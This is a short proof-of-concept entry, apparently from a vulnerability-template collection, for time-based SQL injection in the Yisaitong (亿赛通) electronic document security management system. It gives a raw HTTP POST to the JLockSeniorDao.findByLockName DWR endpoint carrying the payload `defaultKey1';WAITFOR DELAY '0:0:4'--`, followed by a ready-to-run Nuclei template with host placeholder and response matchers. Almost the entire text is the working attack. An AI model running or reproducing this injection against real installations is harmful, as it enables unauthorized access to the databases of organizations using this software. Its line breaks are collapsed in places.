延时注入4秒POST /CDGServer3/dwr/call/plaincall/JLockSeniorDao.findByLockName.dwr HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0Accept-Encoding: gzip, deflate, brAccept: */*Connection: closeContent-Type: text/plainContent-Length: 208callCount=1page=/CDGServer3/dwr/test/JLockDaohttpSessionId=scriptSessionId=c0-scriptName=JLockSeniorDaoc0-methodName=findByLockNamec0-id=0c0-param0=string:defaultKey1';WAITFOR DELAY '0:0:4'--batchId=0

id: Yisaitong-jlockseniordao-findbylockname-SQLinfo:  name: 亿赛通电子文档安全管理系统 jlockseniordao-findbylockname sql注入  author: 小白菜  severity: high  description: |  metadata:    fofa-query:   reference:    - https://  tags: autohttp:  - raw:      - |        POST /CDGServer3/dwr/call/plaincall/JLockSeniorDao.findByLockName.dwr HTTP/1.1        Host: {{Hostname}}        Content-Type: text/plain        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0        callCount=1        page=/CDGServer3/dwr/test/JLockDao        httpSessionId=        scriptSessionId=        c0-scriptName=JLockSeniorDao        c0-methodName=findByLockName        c0-id=0        c0-param0=string:defaultKey1';WAITFOR DELAY '0:0:4'--        batchId=0    host-redirects: true    max-redirects: 2    matchers-condition: and    matchers:      - type: word        part: body        words:          - 'throw'          - 'allowScriptTagRemoting'        condition: or